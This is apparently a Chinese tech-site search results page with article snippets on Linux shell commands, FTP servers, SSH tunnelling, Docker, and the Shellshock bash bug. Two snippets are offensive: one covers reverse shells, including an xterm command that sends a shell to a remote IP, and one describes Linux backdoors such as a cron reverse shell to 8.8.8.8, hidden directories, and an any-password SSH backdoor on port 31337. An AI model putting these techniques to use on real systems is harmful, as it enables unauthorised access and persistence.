首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

开发人员都应该知道的 12 个终端命令

之前推荐了一篇 开发者应该了解的 10 个 Linux 命令,在本文中,将为你准备有逼格的一组Unix命令,这些命令将帮助你充分利用终端。...tar -xf archive.tar 请注意,大多数其他格式(如.zip和.rar)不能通过打开tar并需要其他命令实用程序(如解压缩)。...相反,我们可以从我们的Scripts文件夹创建一个符号链接到/ usr / local / bin,这将使脚本可以从所有目录执行。...git-cleanup SSH 通过该ssh命令,用户可以快速连接到远程主机并登录到它的Unix shell。这使得可以直接从本地机器的终端在服务器上发出命令。...当年第一次连接到服务器时,会有某种形式的身份验证。 ssh username@remote_host 如果你想在不登录的情况下快速执行服务器上的命令,只需在url后添加一条命令即可。

64640

LinuxUnix shell 自动 FTP 备份档案

使用shell脚本实现对Oracle数据库的监控与管理将大大简化DBA的工作负担,如常见的对实例的监控,监听的监控,告警日志的监控,以及数据库的备份,AWR report的自动邮件等。...本文给出Linux 下使用 shell 脚本来实现自动FTP备份档案。       ...Linux Shell以及导入导出的相关参考: Linux/Unix shell 脚本中调用SQL,RMAN脚本 Linux/Unix shell sql 之间传递变量 Linux/Unix shell...调用 PL/SQL Linux/Unix shell 监控Oracle实例(monitor instance) Linux/Unix shell 监控Oracle监听器(monitor listener...Oracle expdp导出的dump文件自动ftp到指定服务器的指定路径下 b、对于expdp导出文件的格式定义请参阅上一篇文章,Linux/Unix shell 自动导出Oracle数据库 c、由于导出与需要导入的数据库使用不同的

1K10
您找到你想要的搜索结果了吗?
是的
没有找到

使用Docker构建安全的虚拟空间

前言 最近上的某水课的作业是出 ctf web题目,然而大多数同学 php 都没学过,(滑稽)更别说配置服务器了,于是想能不能趁机赚一波外快 造福一下同学,(其实就是想折腾了)。...; 不能通过 ssh 登陆 (其实这也是用户能通过 ftp 连接 的必须条件。...那么对应的 shell 脚本就是: #/home/ubuntu/rooms/ 即你的vps上用来存放用户文件夹的位置 # $1 参数为要设置的用户名,也是虚拟空间容器&数据库用户&数据库&用户文件夹的名字...shell 脚本: # 让用户输入 mysql 容器的 root 密码read -sp "请输入 MySQL 容器的 root 账户密码:" mysql_pass# 创建数据库docker exec -...为什么会出现这种情况呢?大概猜想是因为容器内还有一些其他服务,当限制内存小于 256m 的时候,这些服务无法被同时启用,但是我们可以只启用 apache 啊!

3.2K30

如何优雅的在Windows上跑Shell脚本

前言 喜欢Shell脚本,格式方便阅读,方便调试。 在Windows上的Bat脚本,相对没那么友好,至少对来说是这样的,还有一个致命的原因就是不方便调试……这点比较致命。...那有没有一种方法,可以在Windows上跑Shell脚本呢?答案是肯定的。...下面就谈谈的经历: 起因 我们有一台边界 FTP,经常会异常中断,重启 FTP 即可; 为确保数据能有效传输,FTP 异常后能及时恢复,所以这个计划就产生了; ---- 环境 Windows server...服务器中; 运行 Mobaxterm,并开启一个会话-Shell,类型选择 Bash; 在新开的会话中编写 shell 脚本 ---> ftp_check.sh 代码如下仅供参考; #!...Windows unix2dos /home/mobaxterm/Desktop/ftp_check.log ---- 计划任务 Mobaxterm 启动计划任务:crond 编写计划任务:crontab

1.8K60

FTP服务器

Linux:ProFTPD:(Professional FTP daemon)一个Unix平台上或是类Unix平台上(如Linux, FreeBSD等)的FTP服务器程序。...今天的主角:vsftp VSFTP是一个基于GPL发布的类Unix系统上使用的FTP服务器软件,它的全称是Very Secure FTP 从此名称可以看出来,编制者的初衷是代码的安全。.../vsftpd/vsftpd_conf_migrate.sh:是vsftpd 操作的一些变量和设置脚本 /var/ftp/:默认情况下匿名用户的根目录 启动服务 [root@docker-01 ~]#...在 Filezilla 中添加 FTP 服务器详细信息 10、然后点击Connect,再次输入密码,然后验证用于SSL/TLS 连接的证书,再一次点击 OK 连接到FTP 服务器: ?...通过 TLS/SSL 连接到 FTP 服务器 11、最后,在文件目录尝试 从本地传输文件到FTP 服务器,看FileZilla 界面后面的部分查看文件传输相关的报告。 ?

12.9K20

UnixLinux系统下的nobody用户与nologin详细介绍

2、它们是用来完成特定任务的,比如nobody和ftp等,我们访问LinuxSir.Org的网页程序时,官网的服务器就是让客户以’nobody’身份登录的(相当于Windows系统中的匿名帐户); 我们匿名访问...ftp时,会用到用户ftp或nobody。...5、nobody就是一个普通账户,因为默认登录shell是’/sbin/nologin’,所以这个用户是无法直接登录系统的,也就是黑客很难通过漏洞连接到你的服务器来做破坏。...Unix/Linux系统下用户shell为/sbin/nologin是什么意思?...总结: nobody是linux/unix系统下的匿名用户,只能访问服务器上的公共内容 /sbin/nologin是linux/unix系统下的一种shell设置项对于登陆shell为/sbin/nologin

4.3K32

如何在ubuntu上定时抓取错误日志并发至管理员信箱

介绍 希望在ubuntu服务器上部署的nginx + uwsgi应用,运行出现错误时能尽快知道并解决。...的思路是定时扫描这个日志文件,如果出现新的Error关键字,就将相关的信息发至的邮箱。这样的任务,非Shell脚本语言不能实现。...Shell脚本语言介绍 Shell脚本,又称Shell命令稿、程序化脚本,是一种电脑程序与文本文件,内容由一串的shell命令组成,经由Unix Shell直译其内容后运作。...被当成是一种脚本语言来设计,其运作方式与直译语言相当,由Unix shell扮演命令行解释器的角色,在读取shell脚本之后,依序运行其中的shell命令,之后输出结果。...利用shell脚本可以进行系统管理,文件操作等。在Unix及所有的类Unix系统中,如Linux、FreeBSD等操作系统,都存在shell脚本

60930

紧急扩散:Linux系统bash严重安全漏洞CVE-2014-6271的检测及修复方法

今天白天,重量网络在群里提醒,说 Linux 出现了严重的 bash 漏洞,一直在忙也没怎么关注,晚上空闲看了下,发现确实非常严重,必须紧急扩散出去,防止服务器被黑客入群,造成严重的后果!...安全研究专家又发现了一个危险级别为“毁灭级”(catastrophic)的漏洞,开源软件公司 Red Hat 在一份报告中称,在 Linux 系统中广泛使用的 Bash 软件漏洞有可能让黑客利用攻击一切入互联网的设备...美国国土安全部下属的美国电脑紧急响应团队(以下简称“US-CERT”)发出警告称,这一漏洞可能影响基于 Unix 的操作系统,包括 Linux 和 Mac OS X。...而 Ubuntu 用户则可以通过如下命令升级 bash: apt-get update apt-get install bash 其他 Linux 发行版,没有在线安装功能的,请使用以下脚本编译安装...另外,有人提到升级后是否需要重启服务器?其实是不需要的,只要通过漏洞检测即可。当然,你要不放心,重启下也是可以的。。。

1.3K70

2018年7月31日学习ubuntu的基础操作命令和打包压缩解压缩

不要被面试官问的其他领域的问题吓到,给他说是做 软件开发的并不是做硬件运维的,您说的这些东西在工作中用到的很少, 公司如果需要用到的话我会在很短的时间掌握它,之后可以主动点,问一下 电脑还自带还是公司统一配...restart 查看服务启动情况: ps -ef|grep sshd (4)仿真终端连接 SecureCRT/XShell 注意:为了自己测试方便,允许仿真终端可以通过超级管理员root连接到远程服务器...)搭建远程FTP服务器,在服务器端安装xftp服务端 在远程的unix/linux系统上,安装服务器软件执行命令:sudo apt-get install vsftpd  (2)配置FTP服务器...客户端: 通过FTP客户端连接服务器,完成文件交互 填写服务器IP地址、账号、密码,然后登录远程服务器,实现文件交互!...:是在本地window上做开发,然后上传到远程unix上运行 爬虫开发模式:unix上开发unix上运行,因为爬虫程序对多进程多线程的要求比较高 ***************************

90240

SSH 隧道与转发内网穿透(转载)

-N Do not execute a shell or command. 不执行脚本或命令,通常与 -f 连用。...在 -L/-R/-D 参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。 注:这个参数在实践中似乎始终不起作用。...并且根据下面这张图列出我们的计划: 需要访问 234.234.234.234 的 FTP 服务,也就是端口 21,中间服务器是 123.123.123.123 现在我们使用下面这条命令来达成我们的目的...在这条命令成功执行之后,我们已经具有绕过公司防火墙的能力,并且成功访问到了我们喜欢的一个 FTP 服务器了。...不管用哪种方法,重时都应避免因输入密码而卡死程序。关于如何安全的避免输入密码的方法,请参考的 如何实现安全的免密码ssh登录 。

4.1K50

MobaXterm:你的全能终端工具

在当今的信息化时代,我们经常需要连接到服务器进行各种操作,无论是用于开发、测试还是日常的工作。然而,每次连接服务器都需要使用不同的工具,这无疑增加了我们的工作负担。...MobaXterm是一款增强型终端、X 服务器Unix 命令行工具,它可以在Windows环境下运行,支持SSH、FTP、串口、VNC、X server等多种协议。...这意味着你可以在一个软件中完成所有的服务器操作,无需频繁切换窗口。 首先,MobaXterm提供了丰富的SSH客户端功能。你可以轻松地连接到远程服务器,进行文件传输,甚至运行多个会话。...其次,MobaXterm的FTP客户端也非常实用。你可以直接在软件中上传和下载文件,无需登录到FTP服务器。同时,它还支持自动重和被动模式,大大提高了工作效率。...这些功能在远程维护和管理服务器时非常有用。 最后,MobaXterm的Unix命令行工具集也非常丰富。你可以使用各种Unix命令进行文件管理、系统管理等操作。

85220

linux下反弹shell的姿势

通常在获得webshell之后,如果是linux的服务器,一般会返回一个shell来对linux服务器做进一步的渗透,如:溢出提权、信息收集等。...tcp的4445端口 常见脚本 python python作为一个优秀的脚本语言通常默认安装在各大linux操作系统中,可以做很多事情。...用户可以在同一个显示器上开启许多xterm,每一个都为其中运行的进程提供独立的输入输出(一般来说此进程是Unix shell)。...xterm -display 10.0.0.1:1 以上命令在目标服务器上执行会反shell到10.0.0.1的6001端口。...在10.0.0.1上如何监听获取shell,需要执行一下命令: Xnest :1 使用以下命令授权远程主机连接到本机: xhost +targetip 总结 不同的环境需要不同的方式来执行反,通常情况下是不需要那么多的方式的

1.6K00

终端程序不支持 SOCKS5 HTTP 代理怎么办?有了这个神器后,终于可以跨越高山和大海了!

简介 graftcp 可以把任何指定程序(应用程序、脚本shell 等)的 TCP 连接重定向到 SOCKS5 或 HTTP 代理。.../graftcp bash $ wget https://www.google.com 工作原理 要达到重定向一个 app 发起的的 TCP 连接到其他目标地址并且该 app 本身对此毫无感知的目的...返回成功后,这个程序以为自己的是原始的地址,但其实的是 graftcp-local 的地址。这个就叫“移花接木”。...设置环境变量方式:一些程序启动时会读取 proxy 相关的环境变量来决定是否将自己的数据转换为对应代理协议的流量,比如 curl 会读取 http_proxy, ftp_proxy, all_proxy...的 DNS 请求受到污染,graftcp 会处理 DNS 请求吗? 不会。graftcp 目前仅处理 TCP 连接。

5.5K21

Linux后门整理合集

利用方法 先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹。以下脚本代表全自动反弹到 8.8.8.8 的 53 端口。...(不同发行版重启方式不一样,自行查询) service cron reload service cron start 然后在 8.8.8.8 的服务器上使用 NC 接收 Shell 即可。...至少用了这么久是没几个发现的。 是文件的话浏览器访问直接输 ... 就行,目录同理。 touch ... 创建名字为 ... 的文件 mkdir ... 创建名字为 ......groups=1000(fw) fw@dawg:~$ /.woot.woot-2.05b$ id uid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$ 为什么不行呢...快速获得ssh后门 简介 执行命令就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。

2K80

Linux下FTP配置

主动方式的FTP是:客户端从一个任意的非特权端口N(N>1024)连接到FTP服务器的命令端口,也就是21端口。然后客户端开始监听端口N+1,并发送FTP命令“port N+1”到FTP服务器。...接着服务器会从它自己的数据端口(20)连接到客户端指定的数据端口(N+1)。 被动方式,或者叫做PASV,当客户端通知服务器它处于被动模式时才启用。...第一个端口连接服务器的21端口,但与主动方式的FTP不同,客户端不会提交PORT命令并允许服务器来回它的数据端口,而是提交 PASV命令。...(服务器响应客户端的控制端口) 3. FTP服务器的20端口到大于1024的端口。(服务器端初始化数据连接到客户端的数据端口) 4....从任何大于1024端口到服务器的大于1024端口(客户端初始化数据连接到服务器指定的任意端口) 4.

19.4K50
领券